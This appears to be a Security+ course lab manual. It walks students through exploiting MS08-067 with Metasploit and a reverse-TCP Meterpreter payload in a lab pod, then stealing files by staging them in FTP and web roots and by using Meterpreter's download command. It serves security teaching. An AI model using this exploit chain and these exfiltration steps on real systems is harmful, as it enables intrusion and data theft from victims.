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Introduction 

 
This lab is part of a series of lab exercises designed through a grant initiative by the 
Center for Systems Security and Information Assurance (CSSIA) and the Network 
Development Group (NDG), funded by the National Science Foundation’s (NSF) 
Advanced Technological Education (ATE) program Department of Undergraduate 
Education (DUE) Award No. 0702872 and 1002746.  This work has been adapted by The 
Department of Labor (DOL) Trade Adjustment Assistance Community College and Career 
Training (TAACCCT) Grant No.  TC-22525-11-60-A-48.  This series of lab exercises is 
intended to support courseware for CompTIA Security+® certification. 
 
By the end of this lab, students will learn some of the various methods that a hacker will 
use to take data out of a network.  One of the main reasons that attackers break into 
computer networks is to steal a company’s data.  Data stolen could consist of 
confidential information, such as an aircraft manufacturer's plans for building an 
airplane or other proprietary information that could cause serious financial damage if 
not kept confidential. 
 
This lab includes the following tasks: 
 

1 - Using Metasploit to Attack a Remote System 
2 - Stealing Data using FTP and HTTP 
3 - Stealing Data using Meterpreter  
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Objective:  Explain the Importance of Data Security 
 

You may have read an article online about how data or credit card databases are stolen 
from a network.  You may wonder how the hacker got into the company’s systems and 
what techniques the attacker used to steal the information from the network.  This lab 
introduces several of the tools and tactics used by attackers to steal data. 
 
Meterpreter Shell – Meterpreter is another payload that can be used within Metasploit.  
The meterpreter environment allows the user to interact with the operating system 
much like the Windows command prompt, except that the meterpreter shell is even 
more powerful and has a set of unique commands specifically that deal with 
exploitation.  The meterpreter payload also allows the user to spawn a command shell. 
 
Metasploit – Metasploit is an exploitation framework.  Version 3 of Metasploit is 
written in Ruby and has exploits for Microsoft Windows, Mac OS X, Linux, and UNIX.  
Some exploits are for the operating systems themselves and others are for applications 
like Adobe Reader and Internet Explorer.  There is a detailed description of each exploit, 
which explains which version of the operating system, or application software is 
vulnerable. 
 
FTP – File Transfer Protocol, or FTP, can be used to transfer files from one computer to 
another.  The FTP protocol uses the Transmission Control Protocol (TCP) and two ports, 
20 and 21.  Port 21 is used for the commands and port 20 is used for the data transfer.  
Credentials and files that are transferred using FTP are sent in clear text. 
 
HTTP – Hyper Text Transfer Protocol, or HTTP, can be used to download files.  The HTTP 
protocol uses the Transmission Control Protocol (TCP) and port 80.  HTTP clients include 
browsers and wget.exe.  Web server software includes Microsoft’s Internet Information 
Services (IIS) and Apache.  Apache is a web server software commonly used on Linux 
machines.  However, Apache can be utilized on Windows, Mac OS X, and UNIX. 

 
Windows Command Shell – The Windows command shell allows users to interact with 
the operating system from a command line environment.  Virtually anything that can be 
done in the Graphical User Interface, or GUI, in Windows can be done from the 
command line.  The Windows Command Shell is one of the payloads that can be used 
within Metasploit.  If a system is vulnerable to an exploit and a hacker launches a 
successful attack, a command shell can be sent from the victim’s machine to the 
attacker.  Once the attacker has a command shell connected to the victim’s machine, 
they can run commands on the remote system. 
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Pod Topology 

 

 

 Figure 1: Topology 
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Lab Settings 

 
The information in the table below will be needed in order to complete the lab.  The 
task sections below provide details on the use of this information. 

 

Required Virtual Machines and Applications 
 
Log in to the following virtual machines before starting the tasks in this lab: 
  
 
BackTrack 5 Internal Attack Machine  

 
192.168.100.3 
 

 
BackTrack 5 root password 

 
password 
 

 
 
BackTrack 5 Internal Attack Login: 

 
1. Click on the BackTrack 5 Internal Attack icon on the topology.  
2. Type root at the bt login: username prompt.  
3. Type password at the Password: prompt. 

 

       

 Figure 2: BackTrack 5 login  

 

4. To start the GUI, type startx at the root@bt:~# prompt. 

  

 Figure 3: BackTrack 5 GUI start up 
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1 Using Metasploit to Attack a Remote System 

 
Metasploit has exploits for the Windows, Mac, Linux, and UNIX operating systems, as 
well as some exploits for mobile devices like the iPhone and Droid.  It actually started 
out as a game but it is a serious tool that can be used to exploit vulnerabilities.  
Metasploit is available in both free and commercial versions and is maintained by the 
company Rapid 7.  Understanding how an attacker can use a tool like Metasploit can 
help security administrators better understand network security and the importance of 
hardening their systems.  
 

Keep in mind that Linux commands are case sensitive.  The commands below must be 
entered exactly as shown.  

 
 
1.1 Attacking a Remote Machine Using Metasploit 

 
To launch and explore Metasploit, type the following commands: 
 

1. Open a terminal within the BackTrack 5 system by clicking on the terminal icon in 
the top left corner and type msfconsole to launch Metasploit.  
root@bt:~#msfconsole 

2. The banner you see may be different from the one in shown below.   Type 
banner to change the banner.   
 

 

 Figure 4:  The msfconsole of Metasploit  
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3. At the msf prompt, you can type ?  to see a list of available commands: 
 msf > ? 

 

 

 Figure 5:  Commands Available within Msfconsole 

 
Not all of the available commands are displayed when you type ?.  For example, the 
ifconfig and nmap programs loaded on the BackTrack operating system can be used.   
 

4. To view the IP address of the BackTrack 5 machine (attacker), type the following: 
 msf > ifconfig  
 

 

 Figure 6:  The ifconfig command runs within msfconsole 

 
The ifconfig command comes in handy if you forget the IP address of the attacking 
machine or if you are using DHCP and are unsure what IP address is in use. 
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5. Another handy command that can be used within msfconsole is nmap. 
To see all of the switches that can be used with the nmap command, type:  

 msf > nmap 
 

 

Figure 7:  Switches Available for Nmap 

 
6. To view the other machines that are active on the subnet, type:  

 msf > nmap –sP 192.168.100.* 
 

 

 Figure 8:  Using nmap within the Metasploit Framework 
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The BackTrack 5 Attack machine has the IP address of 192.168.100.3.  The victim is 
192.168.100.201. 
 

 

Figure 9: The Nmap Scan identifies the Attacker and the Victim 

 
7. Type the following to perform an Operating System Scan of the remote victim 

host: 
 msf > nmap –O 192.168.100.201 
 

 

 Figure 10:  An Operating System Scan of the Victim 
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According to the nmap operating system scan results, the victim machine is a Windows 
2003 box without a service pack.  It will be vulnerable to the following exploit: 
 
Since, according to the nmap operating system scan results, it is a Windows 2003 box 
without a service pack, it will be vulnerable to the following exploit: 
 

 MS08_067- Windows Server Service Remote Buffer Overflow Vulnerability 
 
You can get more detail about this vulnerability at the following link: 
 
http://technet.microsoft.com/en-us/security/bulletin/ms08-067  
 

8. Search for the SERVER exploit by typing search netapi at the msf console 
msf > search netapi 

  

 

 Figure 11: Searching for the MS08-Vulnerability 

 
9. To use MS08_067exploit, type the following command into the msf console:  

 msf > use exploit/windows/smb/ms08_067_netapi 
 

 

 Figure 12:  Using the exploit 

 
10. Let’s examine the first of the RPC vulnerabilities in the list, by showing the 

options for the exploit: 
 msf > show options 
 

 

 Figure 13:  Showing the Options for the Exploit 

  

http://technet.microsoft.com/en-us/security/bulletin/ms08-067
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11. Type the following command to get information about the particular exploit: 
 msf > info 
 

 

 Figure 14:  Showing Information about the Exploit 

 
The exploit require port 445 to be open on the victim machine. This port was open when 
we performed an operating system scan on the victim machine using nmap. But, we can 
run the scan again against the victim machine, verifying that port 445 is open. 
 

12. Type the following command to scan for port 445 on the victim machine. 
 msf  exploit(ms08_067_netapi) >> nmap 192.168.100.201 –p 445 
 

 

 Figure 15:  Scanning to Determine if Port 445 is open 
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To attack the remote machine, we need to set the target IP address, or RHOST. 
 

13. Type the following command to set the remote host within Metasploit: 
 msf  exploit(ms08_067_netapi) >> set RHOST 192.168.100.201 
 

 

 Figure 16:  Setting the Remote Host 

 
Next, we will need to set a PAYLOAD. Examples are meterpreter and command shells. 
 

14. Type the following command to set the payload within Metasploit: 
msf  exploit(ms08_067_netapi) >> set PAYLOAD windows/meterpreter/reverse_tcp 
 

 

Figure 17: Setting the PAYLOAD 

 
We need to provide the IP address of the machine to send meterpreter to, or LHOST. 
 

15. Type the following command to set the local host within Metasploit: 
 msf  exploit(ms08_067_netapi) >> set LHOST 192.168.100.3 
 

 

 Figure 18:  Setting the LocalHost 

 
This exploit requires a target. The target can be set to 0 and be automatically detected. 
 

16. Type the following command to set the target within Metasploit: 
 msf  exploit(ms08_067_netapi) >> set TARGET 0 
 

 

 Figure 19:  Setting the Target 
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17. Type the following command to verify all options within Metasploit: 
 msf  exploit(ms08_067_netapi) >> show options 
 

 

Figure 20: Showing the Options 

 
18. Type the following command to exploit the target within Metasploit: 

 msf  exploit(ms08_067_netapi) >> exploit 
 

 

Figure 21:  Exploiting the Victim Machine 

 

 If the exploit works, you will receive a meterpreter session 1 opened message. 

 If the exploit does not work on the first try, wait a minute. Continue to keep 
trying to exploit until it is successful and you should receive a meterpreter 
session 1 opened. 

 
19. Do not close the terminal.  This exercise will be continued in 2.1. 
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1.2 Conclusion 

 
Metasploit is a framework that contains exploits for a variety of operating systems 
including Macs, Linux, UNIX, and Windows.  A user can interact with Metasploit by 
typing msfconsole from the terminal within BackTrack 5.  Once msfconsole has been 
launched, the user has the ability to search for an exploit by the vulnerability number.  
To determine if the exploit is suitable for the target system, the user can utilize the info 
command to get more detailed information about a particular exploit.    
 
 
1.3 Discussion Questions 

 
1. What is the command used to set the victim’s IP address in Metasploit? 
2. What is the command used to set the attacker’s IP address in Metasploit? 
3. How can you view what items need to be set in order to exploit a victim? 
4. What command can be used within msfconsole to scan a remote system? 
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2  Stealing Data using FTP and HTTP 

 
Data theft from hackers is a serious problem for companies.  If attackers are able to 
infiltrate an organization's system, they will use various methods to take data out of the 
network.  
 
 
2.1 Stealing Data from the Network using FTP and HTTP 

 
If an attacker is able to get a command prompt on the victim’s machine, and the victim 
machine is a FTP or web server, the attacker can leverage those services to move data 
out of the network.  During this task, we will use the Web and FTP server to steal data. 
 
Interacting with a Command Shell on the Victim’s Machine 
 

1. Continuing on from the end of 1.1, you can  interact with a command prompt on 
the victim machine by typing the following command: 

 meterpreter > shell 
 

 

 Figure 22:  A Windows Command Prompt on the Victim Machine 

 
Your command prompt should indicate you are within the C:\Windows\System32 
directory. 
 

2. Type the following command to view the files and folders in system32: 
 C:\Windows\system32>dir 
 

 

 Figure 23:  Using the dir Command 
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There are so many files and folders in this directory, and the output goes by so quickly, 
you will be unable to see all of the results, even if you scroll to the top of your screen.  
 

 

Figure 24:  Listing the Files and Folders on the Root of C: 

 
Using FTP, we will attempt to move the dir.txt file we created on the victim machine to 
our attacker machine. 
 

3. We can redirect the listing of all of the files and folders to a text file: 
 C:\Windows\system32>dir > dir.txt 
  

 

 Figure 25:  Redirecting Output to a Text File 
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4. To see if the FTP Service is running on the victim , from the BackTrack 5 menu 
bar, select Applications>Internet>Firefox Web Browser.  Type the following URL 
in the address bar: 

  ftp://192.168.100.201 
 

 

Figure 26:  The FTP Directory Listing of 192.168.100.201 

 
Minimize Firefox by clicking the down arrow in the top left corner of the application. 
 

5. Copy the text file you created to the location where FTP files are stored: 
 C:\Windows\system32>copy dir.txt c:\Inetpub\ftproot 
 

 

 Figure 27: Copying the file to the FTP Root 

 
You should receive the message that 1 file(s) was copied. 
 

6. Maximize the Firefox window.  Click the refresh button.  Your file will appear. 
 

 

 Figure 28: The Copied File Appears within the FTP root 

ftp://192.168.100.201/
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7. To view the text file, click on the link to dir.txt in the Name column. 
 

 

 Figure 29: The dir.txt file 

 
Notice that all of the files and folders can now be viewed by scrolling down the page. 
 

 

Figure 30: The dir.txt file on the FTP site 
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Minimize Firefox by clicking the down arrow in the top left corner of the application. 
 
Two common locations where important items might be stored are on the root of the C 
drive and on the user’s desktop.  On servers, the root of C often has important files.  
 

8. In the command prompt window connected to the victim, type the following: 
 C:\Windows\system32>cd \ 
 

 

 Figure 31:  Switch to the Root of C 

 
9. In the command prompt window connected to the victim, type the following: 

 C:\dir 
 

 

 Figure 32:  Listing the Files on C: 

 
The XML files may contain important information about the Active Directory Domain. 
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10. To copy the XML file to the Web Root, type the following command: 
 C:\>copy *.xml  c:\inetpub\wwwroot 
 

 

 Figure 33:  Copying Files to the Web Root 

 
You should receive the message, 2 file(s) copied.  Maximize the Firefox browser. 
 

11. Type the URL http://192.168.100.201/dclist.xml in the Address Bar and hit enter. 
  

 

 Figure 34:  The dclist.XML file 

 
Notice that there is a password listed in the file. 
 

http://192.168.100.201/dclist.xml
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12. In Firefox, go to http://192.168.100.201/Domainlist.xml and hit enter. 
 

 

 Figure 35:  The Domainlist.XML file 

 
13. Minimize Firefox by clicking the down arrow in the top left corner of the 

application.  Do not close the terminal in the BackTrack 5 system.  The exercise 
will be continued in 3.1. 

 

http://192.168.100.201/Domainlist.xml
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2.2 Conclusion 

 
If File Transfer Protocol (FTP) or Hyper Text Transfer Protocol (HTTP) servers are running 
on a compromised system, they can be leveraged to take data out of the network.  
Hackers just need to copy the files they want to steal to the correct Inetpub directory.  
 
 
2.3 Discussion Questions 

 
1. What is the default location on the drive where FTP files are stored? 
2. What is the default location on the drive where HTTP files are stored? 
3. What is the command to get a command prompt when in meterpreter? 
4. How can you redirect the output of the dir command into a text file? 
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3 Stealing Data using Meterpreter 

 
Data theft from hackers is a serious problem for companies.  If attackers are able to 
infiltrate an organization's system, they will use various methods to take data out of the 
network.  If an attacker is able to get a meterpreter shell on the victim’s machine, they 
can use the download command to steal data from the compromised machine. 
 
 
3.1 Stealing Data using Meterpreter’s Download 

  
To return to the Meterpreter Shell: 
 

1. Continuing on from 2.1, type the following command to leave the command 
prompt: 

 C:\>exit 
 

 

 Figure 36:  Leaving the Command Prompt 

 
2. Type the following command to view your location on the victim system: 

 meterpreter > pwd 
 

 

 Figure 32:  Viewing the Directory Location 

 
3. Type the following command to switch to the root of the C Drive: 

 meterpreter > cd \ 
 

 

 Figure 37:  Switching to the Root of the Drive 

 
4. Type the following command to view your location on the victim system: 

 meterpreter > pwd 
 

 

 Figure 38:  Viewing the Directory Location 
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5. Type the following command list the contents of the root directory: 
 meterpreter > ls 

 

 

Figure 39:  Listing the Root of the Drive 

 
6. Type the following command to download the DNSRecords.txt file 

 meterpreter > download DNSRecords.txt /root 
 

 

 Figure 40:  Downloading the DNSRecords.txt file 

 
7. Type the following command to upload the DOMAIN-RENAME-README.DOC 

file 
 meterpreter > download DOMAIN-RENAME-README.DOC /root 
 

 

Figure 41:  Downloading the DOMAIN-RENAME-README.DOC 
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8. To view the two files on your local system, click on Places on the Backtrack menu 
bar, and select Home Folder.  The DNSRecords.txt file  can be viewed and 
opened by double clicking on it.  If BackTrack 5 had an application, which could 
open .doc files, double clicking on the DOMAIN-RENAME-README.DOC file 
would open it also. 

 

 

 Figure 42:  Viewing the Stolen Files on the Attacker’s System 

 
9. Type exit to close the meterpreter session.  Close the terminal and all open 

windows when the task is completed. 
 
 
3.2 Conclusion 

 
Meterpreter is a payload that can be utilized within the Metasploit framework.  After 
obtaining a meterpreter shell, an attacker can use that shell to steal files from the victim 
machine by using the upload command.  After the attacker uses meterpreter to 
download the files, they can be viewed and opened by the attacker on their system. 
 
 
3.3 Discussion Questions 

 
1. What is the command to display your current working directory in meterpreter? 
2. What is the command to download a file within meterpreter? 
3. How can you view files downloaded to your root directory? 
4. How do you list files on the remote system using meterpreter? 
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